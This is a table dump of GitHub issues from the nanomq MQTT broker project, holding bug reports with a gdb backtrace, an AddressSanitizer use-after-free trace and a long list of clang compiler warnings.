issue_owner_repo listlengths 2 2 | issue_body stringlengths 0 261k ⌀ | issue_title stringlengths 1 925 | issue_comments_url stringlengths 56 81 | issue_comments_count int64 0 2.5k | issue_created_at stringlengths 20 20 | issue_updated_at stringlengths 20 20 | issue_html_url stringlengths 37 62 | issue_github_id int64 387k 2.46B | issue_number int64 1 127k |
|---|---|---|---|---|---|---|---|---|---|
[
"emqx",
"nanomq"
] | the bug will be triggered while a client sub to topics with more than 256 length | dead loop in msg_get_subtopic | https://api.github.com/repos/nanomq/nanomq/issues/190/comments | 0 | 2021-08-03T02:42:22Z | 2021-08-03T02:44:59Z | https://github.com/nanomq/nanomq/issues/190 | 958,663,415 | 190 |
[
"emqx",
"nanomq"
] | Use Command:
docker pull nanomq/nanomq:0.4.3
docker run --name nanomq nanomq/nanomq:0.4.3
Error Message:
"nanomq.conf ./etc/nanomq.conf" file not found or unreadable
| docker image doesn't work properly | https://api.github.com/repos/nanomq/nanomq/issues/189/comments | 2 | 2021-07-31T05:27:01Z | 2021-07-31T16:08:38Z | https://github.com/nanomq/nanomq/issues/189 | 957,174,727 | 189 |
[
"emqx",
"nanomq"
] | need to support NULL clientid with authentication | CONNECT with NULL clientID while authenticating | https://api.github.com/repos/nanomq/nanomq/issues/184/comments | 0 | 2021-07-27T04:00:04Z | 2021-07-27T06:33:08Z | https://github.com/nanomq/nanomq/issues/184 | 953,477,112 | 184 |
[
"emqx",
"nanomq"
] | Error occur in repeat subscriptions for a topic. | https://api.github.com/repos/nanomq/nanomq/issues/183/comments | 4 | 2021-07-26T14:49:54Z | 2021-07-27T11:28:25Z | https://github.com/nanomq/nanomq/issues/183 | 952,987,074 | 183 | |
[
"emqx",
"nanomq"
] | client cannot get proper suback reply after sub to multiple topics | illegal Suback | https://api.github.com/repos/nanomq/nanomq/issues/180/comments | 0 | 2021-07-26T06:58:33Z | 2021-07-27T03:54:32Z | https://github.com/nanomq/nanomq/issues/180 | 952,570,031 | 180 |
[
"emqx",
"nanomq"
] | 下载的是 master 分支的最新代码.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff31c2700 (LWP 19608)]
0x0000000000417fc1 in del_topic_one ()
Missing separate debuginfos, use: debuginfo-install libatomic-4.8.5-44.el7.x86_64 libgcc-4.8.5-44.el7.x86_64 libstdc++-4.8.5-44.el7.x86_64
(gdb) bt
#0 0x0000000000417fc1 in del_topic_one ()
#1 0x0000000000416505 in unsub_ctx_handle ()
#2 0x00000000004225a3 in server_cb ()
#3 0x00000000004343bd in nni_taskq_thread ()
#4 0x0000000000434dc2 in nni_thr_wrap ()
#5 0x0000000000438292 in nni_plat_thr_main ()
#6 0x00007ffff7bc6163 in start_thread (arg=0x7ffff31c2700) at pthread_create.c:309
#7 0x00007ffff6ab0f6d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
| 如果客户端执行unsubscribe 服务端就会segmentation fault | https://api.github.com/repos/nanomq/nanomq/issues/178/comments | 1 | 2021-07-25T13:57:44Z | 2021-07-26T06:40:36Z | https://github.com/nanomq/nanomq/issues/178 | 952,280,148 | 178 |
[
"emqx",
"nanomq"
] | Any documentation or example for how to use nanomq for websocket? I see nng library has some code for it.
Thanks!
_Originally posted by @gaolaowai in https://github.com/nanomq/nanomq/issues/83#issuecomment-883633752_ | Any documentation or example for how to use nanomq for websocket? I see nng library has some code for it. | https://api.github.com/repos/nanomq/nanomq/issues/176/comments | 2 | 2021-07-21T04:07:26Z | 2021-12-12T04:27:37Z | https://github.com/nanomq/nanomq/issues/176 | 949,301,582 | 176 |
[
"emqx",
"nanomq"
] | ==495130==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000985a0 at pc 0x5578a530f58a bp 0x7effaa7f57b0 sp 0x7effaa7f57a0
READ of size 8 at 0x6030000985a0 thread T10 (nng:task)
#0 0x5578a530f589 in foreach_client ../nanomq/pub_handler.c:90
#1 0x5578a530f91e in handle_pub ../nanomq/pub_handler.c:146
#2 0x5578a531896f in server_cb ../nanomq/apps/broker.c:124
#3 0x5578a53486af in nni_task_exec ../nng/src/core/taskq.c:144
#4 0x5578a532c48b in nni_aio_finish_impl ../nng/src/core/aio.c:456
#5 0x5578a532c50d in nni_aio_finish_sync ../nng/src/core/aio.c:473
#6 0x5578a535a495 in nano_pipe_recv_cb ../nng/src/sp/protocol/reqrep0/nano_tcp.c:1130
#7 0x5578a53486af in nni_task_exec ../nng/src/core/taskq.c:144
#8 0x5578a532c48b in nni_aio_finish_impl ../nng/src/core/aio.c:456
#9 0x5578a532c50d in nni_aio_finish_sync ../nng/src/core/aio.c:473
#10 0x5578a536acf6 in tcptran_pipe_recv_cb ../nng/src/sp/transport/tcp/tcp.c:642
#11 0x5578a5347eba in nni_taskq_thread ../nng/src/core/taskq.c:50
#12 0x5578a5349124 in nni_thr_wrap ../nng/src/core/thread.c:94
#13 0x5578a5351b4c in nni_plat_thr_main ../nng/src/platform/posix/posix_thread.c:218
#14 0x7effb2b1058f in start_thread nptl/pthread_create.c:463
#15 0x7effb26b8222 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x119222)
0x6030000985a0 is located 16 bytes inside of 32-byte region [0x603000098590,0x6030000985b0)
freed by thread T35 (nng:reap2) here:
#0 0x7effb2bd91c7 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:123
#1 0x5578a534db9c in nni_free ../nng/src/platform/posix/posix_alloc.c:33
#2 0x5578a531e84b in nng_free ../nng/src/nng.c:70
#3 0x5578a5316e31 in del_sub_ctx ../nanomq/sub_handler.c:495
#4 0x5578a535700f in del_topic_clictx_from_tree ../nng/src/sp/protocol/reqrep0/nano_tcp.c:449
#5 0x5578a53587ba in nano_pipe_fini ../nng/src/sp/protocol/reqrep0/nano_tcp.c:724
#6 0x5578a533b4f5 in pipe_destroy ../nng/src/core/pipe.c:89
#7 0x5578a533d8ec in reap_worker ../nng/src/core/reap.c:58
#8 0x5578a5349124 in nni_thr_wrap ../nng/src/core/thread.c:94
#9 0x5578a5351b4c in nni_plat_thr_main ../nng/src/platform/posix/posix_thread.c:218
#10 0x7effb2b1058f in start_thread nptl/pthread_create.c:463
previously allocated by thread T20 (nng:task) here:
#0 0x7effb2bd9527 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5578a534db42 in nni_alloc ../nng/src/platform/posix/posix_alloc.c:20
#2 0x5578a531e804 in nng_alloc ../nng/src/nng.c:58
#3 0x5578a531552b in sub_ctx_handle ../nanomq/sub_handler.c:286
#4 0x5578a531933e in server_cb ../nanomq/apps/broker.c:176
#5 0x5578a5347eba in nni_taskq_thread ../nng/src/core/taskq.c:50
#6 0x5578a5349124 in nni_thr_wrap ../nng/src/core/thread.c:94
#7 0x5578a5351b4c in nni_plat_thr_main ../nng/src/platform/posix/posix_thread.c:218
#8 0x7effb2b1058f in start_thread nptl/pthread_create.c:463
Thread T10 (nng:task) created by T0 here:
#0 0x7effb2b80a65 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x5578a5351c7c in nni_plat_thr_init ../nng/src/platform/posix/posix_thread.c:231
#2 0x5578a53493cd in nni_thr_init ../nng/src/core/thread.c:121
#3 0x5578a53481d9 in nni_taskq_init ../nng/src/core/taskq.c:95
#4 0x5578a5348df4 in nni_taskq_sys_init ../nng/src/core/taskq.c:284
#5 0x5578a5332da9 in nni_init_helper ../nng/src/core/init.c:41
#6 0x5578a5351f81 in nni_plat_init ../nng/src/platform/posix/posix_thread.c:368
#7 0x5578a5332e60 in nni_init ../nng/src/core/init.c:61
#8 0x5578a533d456 in nni_proto_mqtt_open ../nng/src/core/protocol.c:79
#9 0x5578a535ab75 in nng_nano_tcp0_open ../nng/src/sp/protocol/reqrep0/nano_tcp.c:1282
#10 0x5578a531b994 in broker ../nanomq/apps/broker.c:450
#11 0x5578a531d6ba in broker_start ../nanomq/apps/broker.c:637
#12 0x5578a530e83c in main ../nanomq/nanomq.c:163
#13 0x7effb25c7cb1 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
Thread T35 (nng:reap2) created by T0 here:
#0 0x7effb2b80a65 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x5578a5351c7c in nni_plat_thr_init ../nng/src/platform/posix/posix_thread.c:231
#2 0x5578a53493cd in nni_thr_init ../nng/src/core/thread.c:121
#3 0x5578a533db82 in nni_reap_sys_init ../nng/src/core/reap.c:115
#4 0x5578a5332dbb in nni_init_helper ../nng/src/core/init.c:42
#5 0x5578a5351f81 in nni_plat_init ../nng/src/platform/posix/posix_thread.c:368
#6 0x5578a5332e60 in nni_init ../nng/src/core/init.c:61
#7 0x5578a533d456 in nni_proto_mqtt_open ../nng/src/core/protocol.c:79
#8 0x5578a535ab75 in nng_nano_tcp0_open ../nng/src/sp/protocol/reqrep0/nano_tcp.c:1282
#9 0x5578a531b994 in broker ../nanomq/apps/broker.c:450
#10 0x5578a531d6ba in broker_start ../nanomq/apps/broker.c:637
#11 0x5578a530e83c in main ../nanomq/nanomq.c:163
#12 0x7effb25c7cb1 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
Thread T20 (nng:task) created by T0 here:
#0 0x7effb2b80a65 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x5578a5351c7c in nni_plat_thr_init ../nng/src/platform/posix/posix_thread.c:231
#2 0x5578a53493cd in nni_thr_init ../nng/src/core/thread.c:121
#3 0x5578a53481d9 in nni_taskq_init ../nng/src/core/taskq.c:95
#4 0x5578a5348df4 in nni_taskq_sys_init ../nng/src/core/taskq.c:284
#5 0x5578a5332da9 in nni_init_helper ../nng/src/core/init.c:41
#6 0x5578a5351f81 in nni_plat_init ../nng/src/platform/posix/posix_thread.c:368
#7 0x5578a5332e60 in nni_init ../nng/src/core/init.c:61
#8 0x5578a533d456 in nni_proto_mqtt_open ../nng/src/core/protocol.c:79
#9 0x5578a535ab75 in nng_nano_tcp0_open ../nng/src/sp/protocol/reqrep0/nano_tcp.c:1282
#10 0x5578a531b994 in broker ../nanomq/apps/broker.c:450
#11 0x5578a531d6ba in broker_start ../nanomq/apps/broker.c:637
#12 0x5578a530e83c in main ../nanomq/nanomq.c:163
#13 0x7effb25c7cb1 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
SUMMARY: AddressSanitizer: heap-use-after-free ../nanomq/pub_handler.c:90 in foreach_client
Shadow bytes around the buggy address:
0x0c068000b060: fd fa fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c068000b070: fa fa fa fa fa fa fd fd fd fd fa fa fd fd fd fd
0x0c068000b080: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
0x0c068000b090: fd fa fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c068000b0a0: fd fd fd fd fa fa fd fd fd fa fa fa fd fd fd fd
=>0x0c068000b0b0: fa fa fd fd[fd]fd fa fa fd fd fd fa fa fa fd fd
0x0c068000b0c0: fd fa fa fa fd fd fd fd fa fa fa fa fa fa fa fa
0x0c068000b0d0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fa
0x0c068000b0e0: fa fa fd fd fd fa fa fa fa fa fa fa fa fa fa fa
0x0c068000b0f0: fa fa fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c068000b100: fd fd fd fa fa fa fd fd fd fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==495130==ABORTING
| [BUG] Data racing condition | https://api.github.com/repos/nanomq/nanomq/issues/174/comments | 6 | 2021-07-20T03:13:16Z | 2021-09-24T06:43:37Z | https://github.com/nanomq/nanomq/issues/174 | 948,207,636 | 174 |
[
"emqx",
"nanomq"
] | commit d155af61d28bfbb714943f472ce3a3728868d3aa
```
cd nanomq/build
ninja
```
```
[18/283] Building C object nng/CMakeFiles/nng_testing.dir/src/core/message.c.o
../nng/src/core/message.c:742:14: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
payload_ptr = (char*)nni_msg_payload_ptr(msg);
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/core/message.c:763:57: warning: passing 'uint8_t *' (aka 'unsigned char *') to parameter of type 'const char *' converts between pointers to integer types with different sign [-Wpointer-sign]
if (strlen(iter->topic) == len_of_topic && !strncmp(payload_ptr+bpos+2, iter->topic, len_of_topic)) {
^~~~~~~~~~~~~~~~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/string.h:84:26: note: passing argument to parameter '__s1' here
int strncmp(const char *__s1, const char *__s2, size_t __n);
^
2 warnings generated.
[74/283] Building C object nng/CMakeFiles/nng_testing.dir/src/sp/protocol/mqtt/mqtt_parser.c.o
../nng/src/sp/protocol/mqtt/mqtt_parser.c:332:49: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
len = (uint32_t) get_var_integer(packet + pos, &len_of_var);
^~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:91:47: note: passing argument to parameter 'pos' here
get_var_integer(const uint8_t *buf, uint32_t *pos)
^
../nng/src/sp/protocol/mqtt/mqtt_parser.c:764:8: warning: initializing 'char *' with an expression of type 'uint8_t *' (aka 'unsigned char *') converts between pointers to integer types with different sign [-Wpointer-sign]
char *password = cparam->password.body;
^ ~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:799:11: warning: passing 'uint8_t [256]' to parameter of type 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
snprintf(buff, 256, DISCONNECT_MSG, cparam->username.body,
^~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/stdio.h:334:33: note: passing argument to parameter '__str' here
int snprintf(char * __restrict __str, size_t __size, const char * __restrict __format, ...) __printflike(3, 4);
^
../nng/src/sp/protocol/mqtt/mqtt_parser.c:800:6: warning: format specifies type 'unsigned long' but the argument has type 'uint64_t' (aka 'unsigned long long') [-Wformat]
(uint64_t) nni_clock(), code, cparam->clientid.body);
^~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:801:14: warning: assigning to 'char *' from 'uint8_t [256]' converts between pointers to integer types with different sign [-Wpointer-sign]
string.body = buff;
^ ~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:815:11: warning: passing 'uint8_t [256]' to parameter of type 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
snprintf(buff, 256, CONNECT_MSG, cparam->username.body,
^~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/stdio.h:334:33: note: passing argument to parameter '__str' here
int snprintf(char * __restrict __str, size_t __size, const char * __restrict __format, ...) __printflike(3, 4);
^
../nng/src/sp/protocol/mqtt/mqtt_parser.c:816:6: warning: format specifies type 'unsigned long' but the argument has type 'uint64_t' (aka 'unsigned long long') [-Wformat]
(uint64_t) nni_clock(), cparam->pro_name.body, cparam->keepalive_mqtt, code, cparam->pro_ver, cparam->clientid.body, cparam->clean_start);
^~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:817:14: warning: assigning to 'char *' from 'uint8_t [256]' converts between pointers to integer types with different sign [-Wpointer-sign]
string.body = buff;
^ ~~~~
8 warnings generated.
[77/283] Building C object nng/CMakeFiles/nng_testing.dir/src/sp/protocol/reqrep0/nano_tcp.c.o
In file included from ../nng/src/sp/protocol/reqrep0/nano_tcp.c:13:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
../nng/src/sp/protocol/reqrep0/nano_tcp.c:419:2: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
UPDATE_FIELD_MQTT_STRING(password, body, new_cp, cp);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nanomq/include/packet.h:26:29: note: expanded from macro 'UPDATE_FIELD_MQTT_STRING'
new_obj->field.sub_field = strdup((char *)old_obj->field.sub_field); \
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/reqrep0/nano_tcp.c:427:2: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
UPDATE_FIELD_MQTT_STRING(auth_data, body, new_cp, cp);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nanomq/include/packet.h:26:29: note: expanded from macro 'UPDATE_FIELD_MQTT_STRING'
new_obj->field.sub_field = strdup((char *)old_obj->field.sub_field); \
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/reqrep0/nano_tcp.c:434:2: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
UPDATE_FIELD_MQTT_STRING(corr_data, body, new_cp, cp);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nanomq/include/packet.h:26:29: note: expanded from macro 'UPDATE_FIELD_MQTT_STRING'
new_obj->field.sub_field = strdup((char *)old_obj->field.sub_field); \
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/reqrep0/nano_tcp.c:849:34: warning: unused parameter 'reason_code' [-Wunused-parameter]
close_pipe(nano_pipe *p, uint8_t reason_code)
^
../nng/src/sp/protocol/reqrep0/nano_tcp.c:887:14: warning: unused variable 'cparam' [-Wunused-variable]
conn_param *cparam;
^
../nng/src/sp/protocol/reqrep0/nano_tcp.c:1226:16: warning: incompatible function pointer types initializing 'void (*)(void *)' with an expression of type 'void (void *, uint8_t)' (aka 'void (void *, unsigned char)') [-Wincompatible-function-pointer-types]
.pipe_close = nano_pipe_close,
^~~~~~~~~~~~~~~
7 warnings generated.
[86/283] Building C object nng/CMakeFiles/nng_testing.dir/src/sp/transport/tcp/tcp.c.o
In file included from ../nng/src/sp/transport/tcp/tcp.c:5:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
1 warning generated.
[107/283] Building C object nng/CMakeFiles/nng.dir/src/core/message.c.o
../nng/src/core/message.c:742:14: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
payload_ptr = (char*)nni_msg_payload_ptr(msg);
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/core/message.c:763:57: warning: passing 'uint8_t *' (aka 'unsigned char *') to parameter of type 'const char *' converts between pointers to integer types with different sign [-Wpointer-sign]
if (strlen(iter->topic) == len_of_topic && !strncmp(payload_ptr+bpos+2, iter->topic, len_of_topic)) {
^~~~~~~~~~~~~~~~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/string.h:84:26: note: passing argument to parameter '__s1' here
int strncmp(const char *__s1, const char *__s2, size_t __n);
^
2 warnings generated.
[165/283] Building C object nng/CMakeFiles/nng.dir/src/sp/protocol/reqrep0/nano_tcp.c.o
In file included from ../nng/src/sp/protocol/reqrep0/nano_tcp.c:13:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
../nng/src/sp/protocol/reqrep0/nano_tcp.c:419:2: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
UPDATE_FIELD_MQTT_STRING(password, body, new_cp, cp);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nanomq/include/packet.h:26:29: note: expanded from macro 'UPDATE_FIELD_MQTT_STRING'
new_obj->field.sub_field = strdup((char *)old_obj->field.sub_field); \
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/reqrep0/nano_tcp.c:427:2: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
UPDATE_FIELD_MQTT_STRING(auth_data, body, new_cp, cp);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nanomq/include/packet.h:26:29: note: expanded from macro 'UPDATE_FIELD_MQTT_STRING'
new_obj->field.sub_field = strdup((char *)old_obj->field.sub_field); \
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/reqrep0/nano_tcp.c:434:2: warning: assigning to 'uint8_t *' (aka 'unsigned char *') from 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
UPDATE_FIELD_MQTT_STRING(corr_data, body, new_cp, cp);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nanomq/include/packet.h:26:29: note: expanded from macro 'UPDATE_FIELD_MQTT_STRING'
new_obj->field.sub_field = strdup((char *)old_obj->field.sub_field); \
^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/reqrep0/nano_tcp.c:849:34: warning: unused parameter 'reason_code' [-Wunused-parameter]
close_pipe(nano_pipe *p, uint8_t reason_code)
^
../nng/src/sp/protocol/reqrep0/nano_tcp.c:887:14: warning: unused variable 'cparam' [-Wunused-variable]
conn_param *cparam;
^
../nng/src/sp/protocol/reqrep0/nano_tcp.c:1226:16: warning: incompatible function pointer types initializing 'void (*)(void *)' with an expression of type 'void (void *, uint8_t)' (aka 'void (void *, unsigned char)') [-Wincompatible-function-pointer-types]
.pipe_close = nano_pipe_close,
^~~~~~~~~~~~~~~
7 warnings generated.
[167/283] Building C object nng/CMakeFiles/nng.dir/src/sp/protocol/mqtt/mqtt_parser.c.o
../nng/src/sp/protocol/mqtt/mqtt_parser.c:332:49: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
len = (uint32_t) get_var_integer(packet + pos, &len_of_var);
^~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:91:47: note: passing argument to parameter 'pos' here
get_var_integer(const uint8_t *buf, uint32_t *pos)
^
../nng/src/sp/protocol/mqtt/mqtt_parser.c:764:8: warning: initializing 'char *' with an expression of type 'uint8_t *' (aka 'unsigned char *') converts between pointers to integer types with different sign [-Wpointer-sign]
char *password = cparam->password.body;
^ ~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:799:11: warning: passing 'uint8_t [256]' to parameter of type 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
snprintf(buff, 256, DISCONNECT_MSG, cparam->username.body,
^~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/stdio.h:334:33: note: passing argument to parameter '__str' here
int snprintf(char * __restrict __str, size_t __size, const char * __restrict __format, ...) __printflike(3, 4);
^
../nng/src/sp/protocol/mqtt/mqtt_parser.c:800:6: warning: format specifies type 'unsigned long' but the argument has type 'uint64_t' (aka 'unsigned long long') [-Wformat]
(uint64_t) nni_clock(), code, cparam->clientid.body);
^~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:801:14: warning: assigning to 'char *' from 'uint8_t [256]' converts between pointers to integer types with different sign [-Wpointer-sign]
string.body = buff;
^ ~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:815:11: warning: passing 'uint8_t [256]' to parameter of type 'char *' converts between pointers to integer types with different sign [-Wpointer-sign]
snprintf(buff, 256, CONNECT_MSG, cparam->username.body,
^~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/stdio.h:334:33: note: passing argument to parameter '__str' here
int snprintf(char * __restrict __str, size_t __size, const char * __restrict __format, ...) __printflike(3, 4);
^
../nng/src/sp/protocol/mqtt/mqtt_parser.c:816:6: warning: format specifies type 'unsigned long' but the argument has type 'uint64_t' (aka 'unsigned long long') [-Wformat]
(uint64_t) nni_clock(), cparam->pro_name.body, cparam->keepalive_mqtt, code, cparam->pro_ver, cparam->clientid.body, cparam->clean_start);
^~~~~~~~~~~~~~~~~~~~~~
../nng/src/sp/protocol/mqtt/mqtt_parser.c:817:14: warning: assigning to 'char *' from 'uint8_t [256]' converts between pointers to integer types with different sign [-Wpointer-sign]
string.body = buff;
^ ~~~~
8 warnings generated.
[174/283] Building C object nng/CMakeFiles/nng.dir/src/sp/transport/tcp/tcp.c.o
In file included from ../nng/src/sp/transport/tcp/tcp.c:5:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
1 warning generated.
[242/283] Building C object nanolib/CMakeFiles/test.dir/test.c.o
In file included from ../nanolib/test.c:1:
In file included from ../nanolib/include/nanolib.h:6:
../nanolib/./include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/./include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
1 warning generated.
[267/283] Building C object nanomq/CMakeFiles/nanomq.dir/apps.c.o
In file included from ../nanomq/apps.c:11:
In file included from ../nanomq/./include/broker.h:5:
In file included from ../nanolib/include/nanolib.h:6:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
1 warning generated.
[269/283] Building C object nanomq/CMakeFiles/nanomq.dir/unsub_handler.c.o
In file included from ../nanomq/unsub_handler.c:9:
In file included from ../nanomq/./include/unsub_handler.h:6:
In file included from ../nanomq/include/broker.h:5:
In file included from ../nanolib/include/nanolib.h:6:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
../nanomq/unsub_handler.c:107:20: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
payload_ptr, &bpos); // len of topic filter
^~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:35:74: note: passing argument to parameter 'pos' here
NNG_DECL int32_t get_utf8_str(char **dest, const uint8_t *src, uint32_t *pos);
^
2 warnings generated.
[271/283] Building C object nanomq/CMakeFiles/nanomq.dir/sub_handler.c.o
In file included from ../nanomq/sub_handler.c:9:
In file included from ../nanolib/include/nanolib.h:6:
../nanolib/include/mqtt_db.h:34:3: warning: redefinition of typedef 'db_node' is a C11 feature [-Wtypedef-redefinition]
} db_node;
^
../nanolib/include/mqtt_db.h:11:24: note: previous definition is here
typedef struct db_node db_node;
^
../nanomq/sub_handler.c:62:44: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
get_var_integer(variable_ptr + vpos, &len_of_varint);
^~~~~~~~~~~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/sub_handler.c:75:14: warning: passing 'int *' to parameter of type 'uint32_t *' (aka 'unsigned int *') converts between pointers to integer types with different sign [-Wpointer-sign]
&len_of_varint);
^~~~~~~~~~~~~~
../nng/include/nng/protocol/mqtt/mqtt_parser.h:33:65: note: passing argument to parameter 'pos' here
NNG_DECL uint32_t get_var_integer(const uint8_t *buf, uint32_t *pos);
^
../nanomq/sub_handler.c:159:8: warning: passing 'uint8_t *' (aka 'unsigned char *') to parameter of type 'const char *' converts between pointers to integer types with different sign [-Wpointer-sign]
payload_ptr + bpos, len_of_topic);
^~~~~~~~~~~~~~~~~~
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX11.3.sdk/usr/include/string.h:85:40: note: passing argument to parameter '__src' here
char *strncpy(char *__dst, const char *__src, size_t __n);
^
4 warnings generated.
